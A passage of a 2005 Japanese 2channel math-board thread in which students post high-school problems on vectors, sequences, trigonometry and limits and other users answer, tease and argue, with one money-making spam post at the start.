VIPが突撃してんのか？
176 ：☆。・:*:．・☆,。・:*:．・☆ジゼル☆。・:*:．・☆,。・:*:．・☆：2005/07/13(水) 21:42:57
ちょこっと言葉の工夫をするだけで、びっくりするほどお金がたまっちゃう方法を見つけちゃいました。もちろん違法系とか詐欺ではありません。


サイト訪問や、毎日クリック、友達紹介・・・とか
もうそんな面倒な事しなくていいんです！！
あたしはこの方法を知って他のサイト全部解除しちゃったくらいです（笑）このすばらしい方法をもっと前から知っていれば！って、後悔です。

そうしてＧＥＴしたお金で、プリクラ撮ったりコスメ買ったり、欲しいお洋服いっぱい買ったり・・・ｖ　すごく幸せです♪
さすがに彼氏までは買えませんけどぉ・・・笑”

今だけ期間限定で教えちゃいます。
絶対損はさせないことを誓います　笑
質問だけでもＯＫ♪こっそりメールくださいね☆
177 ：１３２人目の素数さん：2005/07/13(水) 21:45:42
ｾﾞﾀｷﾓｽｗｗｗｗｗ
178 ：１３２人目の素数さん：2005/07/13(水) 21:47:14
ﾃﾗｷﾓｽｗｗｗｗｗ
179 ： ◆27Tn7FHaVY ：2005/07/13(水) 22:00:56
何が起こってる？
180 ：>>126-128：2005/07/13(水) 22:01:19
ミスがあったので問題書きなおします

ベクトルです
1.三角形ABCにおいて、辺BCの中点をMとすると、次の等式が成り立つことを証明せよ
AB^2+AC^2=2(AM^2+BM^2)
ハッブスの定理っていう名前だけ知ってますがわかりません

2.三角形ABCの外心をO、重心をGとし、↑OH=↑OA+↑OB+↑OCとする
(1)3点O,G,Hは、一直線上にあることを示せ
(2)Hは三角形ABCの垂心であることを証明せよ
Hの位置をどう求めるかもわかりません
181 ：>>126-128：2005/07/13(水) 22:03:37
三角形OABにおいて辺OAを1:3、辺OBを2:1に内分する点をそれぞれD,Eとし、また、2線分AE,BDの交点をP、線分OPの延長が辺ABと交わる点をFとする
↑OA=↑a,↑OB=↑bとするとき、ベクトル↑OFを↑a,↑bを用いて表せ
またAF:FBを求めよ
182 ：１３２人目の素数さん：2005/07/13(水) 22:04:18
ﾃﾗｷﾓｽｗｗｗｗｗ
183 ：>>180-181：2005/07/13(水) 22:05:11
>>180-181
すみませんがよろしくお願いします
ベクトルが苦手です
何をやっていいかわかりません
184 ：１３２人目の素数さん：2005/07/13(水) 22:07:45
ﾃﾗｷﾓｽｗｗｗｗｗ
185 ：１３２人目の素数さん：2005/07/13(水) 22:08:09
ﾃﾗﾜﾛｽｗｗｗｗｗ
186 ：>>180-181：2005/07/13(水) 22:11:36
回答得られそうも無いんで他のスレで訊きます
マルチじゃないです
187 ：１３２人目の素数さん：2005/07/13(水) 22:20:54
ﾃﾗｷﾓｽｗｗｗｗｗ
188 ：１３２人目の素数さん：2005/07/13(水) 22:21:50
移動しますといって行き先を示せば確かにマルチじゃないが、
>>186はマルチ宣言以外の何物でもないな
189 ：１３２人目の素数さん：2005/07/13(水) 22:24:55
>>188
それは邪推でしょ．
ただ，この板内では質問スレの住人は
被ってて大体全部同じだと思いますけどね．
190 ：１３２人目の素数さん：2005/07/13(水) 22:29:12
ﾃﾗｷﾓｽｗｗｗｗｗ
191 ：１３２人目の素数さん：2005/07/13(水) 22:30:05
平面上に、どの３本の直線も１点を共有しない、n本の直線がある。

（１）どの２本の直線も平行でないとき、平面がn本の直線によって分けられる
　　 部分の個数 An をn で表せ。

（２）n本の直線の中に、２本だけ平行なものがあるとき、平面がn本の直線によって
　　 分けられる部分の個数 Bn を n で表せ。ただし、 n≧2　とする。
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（９８　滋賀大）



数列の応用なんですけど、問題がつかめないんですよね・・・
１点を共有しない、平面をわける、とか聞いたことがなくて・・・




192 ：１３２人目の素数さん：2005/07/13(水) 22:30:46
ﾃﾗｷﾓｽｗｗｗｗｗ
193 ：１３２人目の素数さん：2005/07/13(水) 22:34:05
>>191
典型題だぞ、それ。要するに平面分割の数に関する漸化式作って解けって話。
退化してるときも含めると面倒だから非退化なときだけでいいですってのが
＞どの３本の直線も１点を共有しない
の理由。
194 ：１３２人目の素数さん：2005/07/13(水) 22:50:13
典型題ですか。。。見たことなかったもので・・・

退化ってのはどういうことですか？
195 ：１３２人目の素数さん：2005/07/13(水) 22:51:18
log_{4}(x^2)=log_{2}(ax)・・・①
がある。
ａ＞１/２のとき①は２つの実数解をもち、その２つの解α、β、（α＜β）
の間にβ＝４０９６αの関係が成り立つときのａの値を求めよ。

お願いします。
196 ：１３２人目の素数さん：2005/07/13(水) 22:53:24
＞退化ってのはどういうことですか？
どの３本の直線も１点を共有しないってこと。
直線を連続的に動かすと交点も動くけど、そのときにもともと別々の
交点だったものが重なったりする状況が起きたりするけど、それは
やっぱり別々だと考えたいでしょうってこと。
197 ：１３２人目の素数さん：2005/07/13(水) 22:56:07
>>189
住人が同じだからこそ
行く先々で同じ問題を見せられる方は
たまったもんじゃない、と思わんか？

まあ、マルチ君に言っても無駄かも知れんが。
198 ：１３２人目の素数さん：2005/07/13(水) 23:01:20
p q を異なる素数とするとき。整数aとbと(a<ｂ）
の間にあってpqを分母とする既約分数の和を求めよ。という問題なんですが、解説をみてもいまいち
わからないので、詳しく教えてくれませんか？？
199 ：１３２人目の素数さん：2005/07/13(水) 23:02:56
解説を略すことなく書け
200 ：１３２人目の素数さん：2005/07/13(水) 23:04:13
>>198
解説みてもわからんなら解説するだけ無駄だと思います。
解説のこうこうこういう部分がどうやっているのかわかりません
とか訊かれたならならともかくね。
201 ：１３２人目の素数さん：2005/07/13(水) 23:05:42
>>200
さん、とっかかりがわからないのです！！
202 ：１３２人目の素数さん：2005/07/13(水) 23:07:39
>>201
解説を見てもわかりませんとだけ書かれれば、解説は無駄なんだと常人は判断します。
どのような解説があり、その解説のどういう記述がわからないのかを記さなければ
誰も解答しようとは思わないでしょう。
203 ：１３２人目の素数さん：2005/07/13(水) 23:07:51
a*pq/pq、 a*((pq+1)/pq) 、・・・・a*(pq+p)/pq)・・・・a*(pq+q)/pq)・・・・
204 ：１３２人目の素数さん：2005/07/13(水) 23:08:22
＞ さん、とっかかりがわからないのです！！
さん????
205 ：１３２人目の素数さん：2005/07/13(水) 23:10:03
>>201
解説あるんなら、とっかかりもくそもその解説から学べばいいのであって
とっかかりがわからないなんて自分で考えることを放棄してるだけとしか
思えない。
206 ：１３２人目の素数さん：2005/07/13(水) 23:10:04
たとえば0と1の間だったらできるか？
207 ：とっかかりわかりません：2005/07/13(水) 23:14:40
とにかくあなたたちなりの解説を展開してくれませんか？？？
208 ：１３２人目の素数さん：2005/07/13(水) 23:15:17
>>203
209 ：とっかかりわかりません：2005/07/13(水) 23:16:29
>>208
僕に理解できるとでも？？
210 ：１３２人目の素数さん：2005/07/13(水) 23:17:15
一つ聞くけど、既約分数ってなんだかわかる？
211 ：アホです：2005/07/13(水) 23:20:00
>>210
分母、分子に共通の約数がない分数のことですが
212 ：１３２人目の素数さん：2005/07/13(水) 23:21:52
>>207
嫌です。お断りします。
213 ：１３２人目の素数さん：2005/07/13(水) 23:21:53
自助努力を放棄した丸投げ君はさっさと学校やめたら？
214 ：１３２人目の素数さん：2005/07/13(水) 23:22:53
>>211
それでは>>206の状況でやってみ
215 ：１９８でう：2005/07/13(水) 23:26:23
>>213
本当は理解してました。タダあなたちがどこまで根本的に答えられるか
どうか試していたのです。実は僕大学の教授で数学の基礎論について、
どこまで対応できる能力があるかこの判断材料をつかってたのです。
216 ：１９８でう：2005/07/13(水) 23:26:50
>>214
わかりました！！！！！！！！！！！！！
217 ：１３２人目の素数さん：2005/07/13(水) 23:28:07
なんか、べーたくさくねぇ？
218 ：１３２人目の素数さん：2005/07/13(水) 23:29:31
>>217
ちがいますのでｗｗｗｗでもべーたはしってます。化学板でやたらＰＨグラフの
質問俺にしてきました。俺がどんなに詳しく回答してもあげ足とってきて非常に
うざかったです
219 ：１３２人目の素数さん：2005/07/13(水) 23:30:30
おめーもべーた同値類だから、早く消えろ
220 ：１３２人目の素数さん：2005/07/13(水) 23:31:34
>>219
お前も消えろ
221 ：１３２人目の素数さん：2005/07/13(水) 23:32:00
>>215
煽っても餌あげないよ。
222 ：１３２人目の素数さん：2005/07/13(水) 23:32:14
へっへーん
223 ：１３２人目の素数さん：2005/07/13(水) 23:32:27
ﾃﾗｷﾓｽｗｗｗｗｗ
224 ：１３２人目の素数さん：2005/07/13(水) 23:32:57
>>223
ﾃﾗｳｻﾞｽｗｗｗｗｗ
225 ：１３２人目の素数さん：2005/07/13(水) 23:34:39
>>218
そういえば、空気も読まずに
べーたにﾏｼﾞﾚｽしてたバカがいたっけな。
226 ：１３２人目の素数さん：2005/07/13(水) 23:36:18
>>225
なにいってるのアナタ？？？俺はあいつのおかげで自分も理解してなかったポイント
にきづいたのですよ！！
227 ：１３２人目の素数さん：2005/07/13(水) 23:36:33
自称大学生だっけ
228 ：１３２人目の素数さん：2005/07/13(水) 23:37:41
ﾃﾗｷﾓｽｗｗｗｗｗ
229 ：１３２人目の素数さん：2005/07/13(水) 23:41:04
　　　　n　　
　　　　Σ ｋ＾２×２＾k を述べよ　　わかりますか？？
k=1
230 ：１３２人目の素数さん：2005/07/13(水) 23:42:02
わかります
231 ：１３２人目の素数さん：2005/07/13(水) 23:42:20
わかりません
232 ：１３２人目の素数さん：2005/07/13(水) 23:43:56
>>229
わかりません
233 ：１３２人目の素数さん：2005/07/13(水) 23:44:19
>>229
なんのことだかさっぱり
234 ：１３２人目の素数さん：2005/07/13(水) 23:45:32
わかりません
235 ：１３２人目の素数さん：2005/07/13(水) 23:45:39
　　　　n　　
　　　　Σ ｋ＾２×２＾k をこたえよです　　わかりますか？？
　　　　k=1
236 ：１３２人目の素数さん：2005/07/13(水) 23:45:52
わかりません
237 ：１３２人目の素数さん：2005/07/13(水) 23:45:59
ほんとにわかりません
238 ：１３２人目の素数さん：2005/07/13(水) 23:46:22
わかりません
239 ：１３２人目の素数さん：2005/07/13(水) 23:46:47
わかりません
240 ：１３２人目の素数さん：2005/07/13(水) 23:48:03
わからないのは何故？？？
僕がうざいからｗｗｗｗ？？？
241 ：１３２人目の素数さん：2005/07/13(水) 23:48:43
わかります
242 ：１３２人目の素数さん：2005/07/13(水) 23:48:51
あなたの存在意義がわかりません
243 ：１３２人目の素数さん：2005/07/13(水) 23:49:29
>>240
自分で言っちゃーおしめーよ！
244 ：１３２人目の素数さん：2005/07/13(水) 23:51:33
何故って、わからないものはわからないんだから仕方ねーだろ。
245 ：１３２人目の素数さん：2005/07/13(水) 23:58:17
ID:VU12zzzf0は[生物化学物理地学]質問ｽﾚ8の俺のＩＤですがおもろいですよ
今この板が！！！！俺めっちゃがんばって一人いばってたやつをたおしました
きてみ　わらえるから
246 ：１３２人目の素数さん：2005/07/14(木) 00:05:41
>>235
実質、階差数列の和を求める計算と同じ
247 ：１３２人目の素数さん：2005/07/14(木) 00:07:24
なんだ、数列の和だったのか
248 ：１３２人目の素数さん：2005/07/14(木) 00:07:55
>>245
もしかして
凸レンズの焦点より内側に物体を置いたら実像ができる、とか
言ってるヒトですかあ？
249 ：１３２人目の素数さん：2005/07/14(木) 00:07:58
実質
250 ：１３２人目の素数さん：2005/07/14(木) 00:09:34
>>248
そうですよ
251 ：246：2005/07/14(木) 00:10:23
とは言ったものの、階差をとっても上手く計算できない・・・(･_･;)
252 ：１３２人目の素数さん：2005/07/14(木) 00:11:17
どうでもいい
253 ：１３２人目の素数さん：2005/07/14(木) 00:13:13
>>251
数列の理論という１つの枠にはまりっぱなしのあなた、ホントにわらっちゃいます
254 ：246：2005/07/14(木) 00:14:14
>>253
そんな事言うなら、教えてくれよ！
255 ：246：2005/07/14(木) 00:21:03
ひょっとして2^kをテイラー展開してから計算するとか？
256 ：１３２人目の素数さん：2005/07/14(木) 00:21:04
で、>>235には何が書いてあるんだ？汚すぎて何かわからないんだけど。
257 ：246：2005/07/14(木) 00:22:51
風呂から上がったらテイラー展開して計算してみよ―っと
258 ：１３２人目の素数さん：2005/07/14(木) 00:24:49
>>255
したらどう？？ｗｗｗｗｗｗ、、まぁこの問題がわからないとしたら......まぁ
あなたたちはおエライでしょうから、この問題が数学の未解決問題になるん
でしょうなｗｗｗｗｗｗｗｗ、あれっでもこんな問題ゴールドバッハとかに
くらべると屁にもならないですけどねぇｗｗｗｗｗｗｗホントに大学生？？
259 ：１３２人目の素数さん：2005/07/14(木) 00:27:08
2^(kt) の2階微分でもとっとけ
260 ：246：2005/07/14(木) 00:38:18
>>258
僕は高校1年なんですけど・・・　
大学生ではありません
261 ：１３２人目の素数さん：2005/07/14(木) 00:39:17
>>197
そこまでROMって気付く必要があるとは思わない．
262 ：１３２人目の素数さん：2005/07/14(木) 00:39:43
で、数列の基本もわからずテイラー展開を知りたがる訳だ
263 ：246：2005/07/14(木) 00:40:35
テイラー展開は中2の時から知っていました
264 ：１３２人目の素数さん：2005/07/14(木) 00:41:19
名前だけだろｗｗｗｗｗｗ
265 ：246：2005/07/14(木) 00:42:40
当然内容も知っていましたよ。
っていうか、内容を知らなければ、「テイラー展開は中2の時から知っていました」なんて事言いませんよ。
266 ：１３２人目の素数さん：2005/07/14(木) 00:43:58
要するに今ここにはアホが二匹、数列がわからんのとテイラー展開が
わからんのが紛れ込んでるわけね。
267 ：246：2005/07/14(木) 00:44:52
まあ、もういいです。さっきの問題は解決しましたから。
では、さようなら。
268 ：１３２人目の素数さん：2005/07/14(木) 00:45:06
>>255
Taylor展開のこと知らずに書いてるでしょ、、
そういうの良くないですよ

r倍して片方から片方を引いて計算してください．
微分の公式を知っていたら，もう少しいい方法があるけど、、
どうやるんだったっけ、、度忘れした、、
269 ：１３２人目の素数さん：2005/07/14(木) 00:45:17
2^kをテイラー展開って何しようとしたんだかｗｗｗｗｗ
270 ：１３２人目の素数さん：2005/07/14(木) 00:45:59
>>269
すればいいでしょ？
271 ：１３２人目の素数さん：2005/07/14(木) 00:46:55
>>270
存分にしとけよｗｗｗｗｗ
272 ：１３２人目の素数さん：2005/07/14(木) 00:46:55
>>266
ベクトルのわからんアホは逃亡してマルチに走ったが。
273 ：246：2005/07/14(木) 00:47:47
さっき、さようならと言いましたがまた来ました。
2^k=e^(log2･k)としてマクローリン展開しようとした訳です。
274 ：１３２人目の素数さん：2005/07/14(木) 00:48:35
２４６はいたすぎるｗｗｗｗｗｗｗｗｗ。さっきの中坊よりもなｗｗｗｗｗｗ
275 ：１３２人目の素数さん：2005/07/14(木) 00:49:30
>>273
で？
276 ：１３２人目の素数さん：2005/07/14(木) 00:51:56
>>275
お前なんて　で？？とか　しろよとかいうだけで、お前もわかってへんのんちゃう？？
２４６がんばれ
277 ：１３２人目の素数さん：2005/07/14(木) 00:52:56
>>276
で？
278 ：246：2005/07/14(木) 00:53:35
マクローリン展開すると、積の形から和の形になるのでΣ計算が出来ます。
このやり方はかなり面倒くさいですが・・・
279 ：１３２人目の素数さん：2005/07/14(木) 00:55:02
>>278
おめでたいやつだな
280 ：１３２人目の素数さん：2005/07/14(木) 00:55:07
>>278
は？
281 ：１３２人目の素数さん：2005/07/14(木) 00:55:32
>>273
級数に展開して掛け算してまた総和取ったらΣが
二重になって余計難しい問題になる気がしますが，気のせいでしょうか、、
まあ元ネタ隠して難しくした問題を出したらいくらか釣りは出来る気はしますが、、
282 ：１３２人目の素数さん：2005/07/14(木) 00:55:57
知識だけの頭でっかちになってる気がするよ
283 ：１３２人目の素数さん：2005/07/14(木) 00:56:48
　　　　n　　
　　　　Σ ｋ＾２×２＾k という１つの難問にたちむかうべく、２ちゃんねらーが
　　　　k=1 　　　　　　挑みだし、それとともにコミュニケーションもめばえ、
　　　　　　　　　　　　友情が生まれだす、あぁなんてすばらしき２ちゃんねる
　　　　　　　　　　　　
284 ：246：2005/07/14(木) 00:56:53
ひょっとして、オレ、釣られてるの？

とワザとらしい発言をするスレ
285 ：１３２人目の素数さん：2005/07/14(木) 00:58:18
>>284
せめて逆
286 ：１３２人目の素数さん：2005/07/14(木) 00:59:14
>>283が何かいてあるかさっぱりわからん。
> n Σ ｋ＾２×２＾k という１つの難問にたちむかうべく、２ちゃんねらーが　k=1
> 挑みだし、それとともにコミュニケーションもめばえ、友情が生まれだす、あぁ
> なんてすばらしき２ちゃんねる
って何？
287 ：１３２人目の素数さん：2005/07/14(木) 00:59:48
>>284
で、解けたの（嘲笑
288 ：１３２人目の素数さん：2005/07/14(木) 01:00:29
>>246はにのみーとかいう某所で見た高校一年生にそっくりだな
289 ：１３２人目の素数さん：2005/07/14(木) 01:01:33
>>286
感動したのでついいったのです　わるい？？
290 ：１３２人目の素数さん：2005/07/14(木) 01:02:49
>>289
いや、何が書いてあるかすらわからない。
>> n Σ ｋ＾２×２＾k という１つの難問にたちむかうべく、２ちゃんねらーが　k=1
とか文章壊れてるし
291 ：１３２人目の素数さん：2005/07/14(木) 01:03:37
> ２ちゃんねらーが　k=1
ﾃﾗﾜﾛｽｗｗｗｗｗ
292 ：１３２人目の素数さん：2005/07/14(木) 01:04:14
>>290
画面を拡大してみてください　感動がつたわりますから
293 ：１３２人目の素数さん：2005/07/14(木) 01:05:56
多分おまいさんTaylor展開全く分かってないよ．
レスから言って．

Σ_{k=1}^{k=n} k^2･x^k
をxで微分して積分定数決める．おしまい．
294 ：１３２人目の素数さん：2005/07/14(木) 01:07:54
>>293
ﾊｧ?
295 ：１３２人目の素数さん：2005/07/14(木) 01:08:26
　　　　n　　
　　　　Σ ｋ＾２×２＾k を考えた俺に感謝してください。活気づいてきましたなワクワク
　　　　k=1 　
296 ：１３２人目の素数さん：2005/07/14(木) 01:09:05
>>292
拡大?何の話をしているんだ?
297 ：１３２人目の素数さん：2005/07/14(木) 01:09:59
> n Σ ｋ＾２×２＾k を考えた俺に感謝してください。活気づいてきましたなワクワク k=1

????
298 ：１３２人目の素数さん：2005/07/14(木) 01:10:22
>>296
まさか私のかいた文章をけなしているのでは？？それだと私の人格そのものを
穢されたととらえますが？？
299 ：１３２人目の素数さん：2005/07/14(木) 01:10:32
>>295
ありがとう！　ほんとにありがとう！！
貴方は神みたいな人だ！　ありがたきしあわせ！


これで満足？
300 ：１３２人目の素数さん：2005/07/14(木) 01:13:02
>>298
人格どころかおまえの存在そのものがうんこだろ？
301 ：１３２人目の素数さん：2005/07/14(木) 01:13:09
>>294
ごめん大分間違った、、
微分して求めるのはどうするんだったっけ、、
302 ：293=301：2005/07/14(木) 01:27:32
ごめん，Σ_{r=1}^{n} r^k = ほにゃらら（rの有理函数）
をrで微分して微調整すればいいのか．

要するに>>293の微分を積分になおせば必ずしも間違いじゃないと．
303 ：１３２人目の素数さん：2005/07/14(木) 01:28:05
>>301
S = 1+x+x^2+...+x^n
微分して x を掛ける
xS' = x + 2x^2 + 3x^3 + ... + nx^n
微分して x を掛ける
x(xS')' = x + 2^2x^2 + 3^2x^3 + ... + n^2x^n

一方
S = {x^(n+1)-1}/(x-1)
から x(xS')' を計算（面倒）

最後に x=2 とする
304 ：293：2005/07/14(木) 01:34:55
>>303
そうでした，ごめんなさい、、
|x|<1かつN→∞の場合のみ求めたいときは，実質的な計算は
ほとんど要らないのに，厳密にやる場合は，
無駄な計算をしないと答案が掛けない面白い例でしたね．

# 二年以上高校数学やってないと頭鈍るなー
305 ：303：2005/07/14(木) 02:14:50
>>235
2^k だから、たぶん↓が一番楽なんだろうな

a[k]-a[k-1] = k^2*2^k
となるように a[k] を定めると
a[k] = (k^2-2k+3)*2^(k+1)

Σ[k=1,n]k^2*2^k = 1*2 + 2^2*2^2 + … + n^2*2^n
= (-a[0]+a[1]) + (-a[1]+a[2]) + … + (-a[n-1]+a[n])
= a[n]-a[0] = (n^2-2n+3)*2^(n+1)-6
306 ：293：2005/07/14(木) 02:19:28
それだと要するに最終的な答えが
多項式×指数函数だと仮定して
係数合わせるというのと殆ど同じになるね．
307 ：１３２人目の素数さん：2005/07/14(木) 02:26:17
a[k]求めるのが面倒
308 ：１３２人目の素数さん：2005/07/14(木) 02:30:19
>>307
a[k] = (k^2+bk+c)2^(k+1)
の形はすぐ分かるから
309 ：１３２人目の素数さん：2005/07/14(木) 07:51:22
前にも質問したんですけどスルーされたんで。
基本的な事なんだけどなんかよく分かりません(;´д｀)お願いします
(問)△ＡＢＣの3辺ＢＣ、ＣＡ、ＡＢをそれぞれ１:２の比に内分する点をＬ、Ｍ、Ｎとし、
ＡＬとＣＮの交点をＰ、ＡＬとＢＭの交点をＱ、ＢＭとＣＮの交点をＲとするとき
(１)ＢＲ:ＲＭを求め、△ＢＣＲの面積と△ＡＢＣの面積の比を求めよ。
(２)△ＰＱＲの面積と△ＡＢＣの面積の比を求めよ。
310 ：１３２人目の素数さん：2005/07/14(木) 08:21:02
>>309
何の分野の問題か知っていれば、チャートでケリがつくはずだが。
311 ：１３２人目の素数さん：2005/07/14(木) 08:56:14
>>310
調べたんですけどアホなんで何度やっても答えが合わないんです(´・ω・｀)
(1)だけでもいいので教えてもらえませんか？？
312 ：１３２人目の素数さん：2005/07/14(木) 08:58:34
>>310
調べたんですけどアホなんで何度やっても答えが合わないんです(´・ω・｀)
(1)だけでもいいので教えてもらえませんか？？
313 ：１３２人目の素数さん：2005/07/14(木) 08:59:01
>>310
調べたんですけどアホなんで何度やっても答えが合わないんです(´・ω・｀)
(1)だけでもいいので教えてもらえませんか？？
314 ：１３２人目の素数さん：2005/07/14(木) 09:00:03
>>310
調べたんですけどアホなんで何度やっても答えが合わないんです(´・ω・｀)
(1)だけでもいいので教えてもらえませんか？？
315 ：１３２人目の素数さん：2005/07/14(木) 09:01:22
うわ。ごめんなさい。
316 ：１３２人目の素数さん：2005/07/14(木) 09:06:27
>>311
「答えが合わない」という質問は、その間違ったやり方も書くべし。
317 ：１３２人目の素数さん：2005/07/14(木) 09:16:48
それ超有名問題だから，
近くの本屋に行って参考書を何冊か見れば，
答え載ってるぞ、、
でメモして帰ればいい．
318 ：１３２人目の素数さん：2005/07/14(木) 09:17:21
というのが本音なんだけど
>>316に同意．過程かいてごらん．
319 ：309：2005/07/14(木) 09:26:10
すいません。んじゃ過程を・・・。
メの定理より
(1/3)×(BR/MR)×(1/2)
よってBR:RM＝6:1
ここですでに答えが合わないんです(´д⊂ヽ)
320 ：１３２人目の素数さん：2005/07/14(木) 09:30:16
眼の定理？
321 ：１３２人目の素数さん：2005/07/14(木) 09:31:36
眼の定理？
322 ：309：2005/07/14(木) 09:32:23
あ、メネラウスの事です
323 ：１３２人目の素数さん：2005/07/14(木) 09:34:06
なんで意味不明瞭な略しかたするの？
324 ：１３２人目の素数さん：2005/07/14(木) 09:34:41
(1/3)×(BR/MR)×(1/2)

ﾊｧ?
325 ：309：2005/07/14(木) 09:39:40
すんません。解けました。
スレ汚しごめんなさい。
326 ：１３２人目の素数さん：2005/07/14(木) 09:44:10
BR/MR=6/1
あってるね．解けたならまあ解決したと言うことで．
変な略し方はしないように．
327 ：309：2005/07/14(木) 10:32:11
>>326
本当にすいませんでした(;´д｀)
328 ：１３２人目の素数さん：2005/07/14(木) 10:43:12
今気付いたのでおまけで書き方の注意しとくと

>メの定理より
>(1/3)×(BR/MR)×(1/2)
>よってBR:RM＝6:1

ここはこんな感じで書くように

メネラウスの定理より
(BN/NA)×(AC/CM)×(MR/RB)
= (1/3)×(BR/MR)×(1/2) = 1
よってBR:RM＝6:1

1,2行目と3行目の = は
3角形ABMと直線CNの組に
メネラウスの定理を適用して，でも通じる．
329 ：１３２人目の素数さん：2005/07/14(木) 12:22:44
問:命題「(x－1)^2＋y^2〈a^2 ならば x^2＋y^2≦5^2」が真であるような整数aのうち、最小のものを求めよ
これなんですが、途中からわからないんです。
330 ：329：2005/07/14(木) 12:23:54
この命題の仮定をP、結論をQとすると、この不等式を満たす点は(x,y) 全体の集合を
Ｐ＝{(x,y)|(x－1)^2＋y^2〈a^2}
Ｑ＝{(x,y)|x^2＋y^2≦5} とする
(x－1)^2＋y^2〈a^2⇒x^2＋y^2≦5 が成り立つための条件は Ｐ⊂Ｑ
｛(x,y)|(x－1)^2＋y^2〈a^2}⊂{(x,y)|x^2＋y^2≦5}

ここからがｻﾊﾟｰﾘわかりません。どなたかお願いしますm(_ _)m
331 ：１３２人目の素数さん：2005/07/14(木) 12:29:06
>>330
絵を書けば?
332 ：１３２人目の素数さん：2005/07/14(木) 12:39:39
>>331
図で考えるんですね。
やってみます
333 ：１３２人目の素数さん：2005/07/14(木) 14:29:40
1+sinθ-cosθ/1+sinθ+cosθ=tanθ/2を証明しろって問題が宿題に出たのですが
どうすればいいのか、まったくわかりません
右のtanθ/2が半角の公式に近いから、両辺を二乗してみたりしたのですが、無理でした
334 ：１３２人目の素数さん：2005/07/14(木) 14:38:27
>>333
それならもう無理だ
あきらめろ
335 ：１３２人目の素数さん：2005/07/14(木) 14:45:39
>>333
ちゃんと (　)　使えよ。
(1+sinθ-cosθ)/(1+sinθ+cosθ)
={2sin(θ/2)cos(θ/2)+2(sin(θ/2))^2}/{2sin(θ/2)cos(θ/2)+2(cos(θ/2))^2}
=2sin(θ/2){cos(θ/2)+sin(θ/2)}/[2cos(θ/2){cos(θ/2)+sin(θ/2)}]
=tan(θ/2)
336 ：１３２人目の素数さん：2005/07/14(木) 14:53:26
>>333
tan(θ/2）=t とおくと
sinθ=2t/(1+t^2), cosθ=(1-t^2)/(1+t^2)
これを代入して解決。
337 ：１３２人目の素数さん：2005/07/14(木) 15:01:43
すいません即レス希望です。
sinh(βt)の微分、積分を教えてください
338 ：１３２人目の素数さん：2005/07/14(木) 15:03:24
＞すいません即レス希望です。
そんなこと言うとここでは返ってきにくいよ
339 ：１３２人目の素数さん：2005/07/14(木) 15:04:16
藪をつついて蛇を出すとはことのことだなﾌﾟﾌﾟ
340 ：１３２人目の素数さん：2005/07/14(木) 15:14:21
>>337
双曲線関数の微分公式知ってんなら合成関数の微分法で求まるだろ。
そもそも、双曲線関数は高校数学じゃねーんだよ。
一応答えを書くと、
　sinh(βx)の微分は、βcosh(βx)
積分は、(1/β)cosh(βx)+C （Cは積分定数）
341 ：１３２人目の素数さん：2005/07/14(木) 16:01:23
区間0≦X≦1における,2次関数y=-x^2+2axの最大値および最小値を求め,
そのときのxの値を求めよ｡

と言う問題なのですが
与式をy=(x-a)^2+a^2としたところでわからなくなってしまいました｡
付属の答えが簡略すぎて範囲の1/2がどこからでてきたのかわかりません｡
解説お願いします｡
342 ：１３２人目の素数さん：2005/07/14(木) 16:03:54
>>341
>与式をy=(x-a)^2+a^2としたところで
その式おかしくない？
343 ：ひろキン：2005/07/14(木) 16:10:35
行列式

５６３５
４７８６　＝
７８３５
８７４５

m(._.)m おねがいします！
344 ：ひろキン：2005/07/14(木) 16:11:55
やり方も教えてください！
すいません。
345 ：342：2005/07/14(木) 16:12:02
平方完成は、y=-(x-a)^2+a^2ですよ。
すると、軸の方程式はx=aだから、
(ⅰ) a<0
(ⅱ) 0≦a<1/2
(ⅲ) a=1/2
(ⅳ) 1/2<a<1
(ⅴ) a≧1
で場合分け。
346 ：ひろキン：2005/07/14(木) 16:48:01
自己解決できました！
347 ：341：2005/07/14(木) 16:58:33
>>342,345
はじめっから間違ってましたorz

>>345
そこの場合分けがよく分からないのですが,なんで1/2がでてくるのですか?
348 ：１３２人目の素数さん：2005/07/14(木) 16:59:37
>>341
f(x)=-x^2+2axとすると
f(0)=f(1)になるのがa=1/2の時。
a<1/2ならf(0)>f(1)だし
a>1/2ならf(0)<f(1)になる。
1/2が出てくるのはこういう理由
349 ：341：2005/07/14(木) 17:02:50
>>348
なるほど!分かりやすい解説ありがとうございました!
350 ：342：2005/07/14(木) 18:08:22
もし、最小値だけを求めるんなら、1/2は考えなくてもいいですよ。
351 ：１３２人目の素数さん：2005/07/14(木) 18:23:13
中心座標(6.0)半径3の円Cがあり、円Cと接し原点を通る直線Lがある。直線Lを求めよ。ただし直線Lの傾きは正とする。　　　　　　すまんがこれが全然解けない(ﾟAﾟ;)解説頼む。ちなみに答えは y=√3/2(二分のルート三)になるっぽい
352 ：１３２人目の素数さん：2005/07/14(木) 18:43:22
y=(1/√3)xじゃないのかと
353 ：１３２人目の素数さん：2005/07/14(木) 18:43:54
lim_[x→0]｛(1+x)^10-1｝/x
おね
354 ：１３２人目の素数さん：2005/07/14(木) 18:49:39
>>353
x^n-1=(x-1)(x^n-1+……+1)
355 ：１３２人目の素数さん：2005/07/14(木) 18:50:52
0/0の不定形になるからロピタルで、 lim[x→0]｛(1+x)^10-1}/x = lim[x→0]10*(1+x)^9 =10
356 ：１３２人目の素数さん：2005/07/14(木) 18:54:22
>>353
lim[x→0]g(x)/f(x) のとき分母が0になる場合はlim[x→0]g'(x)/f'(x)で極限値が求められる。
あとは自分でやれ。
357 ：１３２人目の素数さん：2005/07/14(木) 18:57:36
>>354-355
ありがとうございます☆
みんなダイスキです☆
358 ：１３２人目の素数さん：2005/07/14(木) 18:59:59
>>355
ロピタルは高校の範囲外だから入試とかで使うと減点されるぞ。
素直に二項定理とかでやるのが吉。
359 ：１３２人目の素数さん：2005/07/14(木) 19:07:28
352さん　　　　　　　　　　　すいません(´･ω･`)ｼｮﾎﾞｰﾝ間違えました、もし良かったら解き方を教えてくれませんか？
360 ：１３２人目の素数さん：2005/07/14(木) 19:16:46
Lを原点とおるからy=axとおく。円Cは (x-6)^2+y^2=3^2 だから、2式からyを消して
(x-6)^2+(ax)^2=3^2　⇔　(1+a^2)x^2-12x+27=0、(判別式/4)=6^2-27*(1+a^2)=0、
a=±1/√3、よってy=(1/√3)*x
361 ：１３２人目の素数さん：2005/07/14(木) 19:21:22
360さん(ﾟ∀ﾟ)!　ありがとうごさいました！　激しく感謝してます
362 ：１３２人目の素数さん：2005/07/14(木) 19:26:31
確立の問題です
一個のさいころを四回投げるとき、出る目の最大値が4になる確立ですが
計算式を含めて教えてください
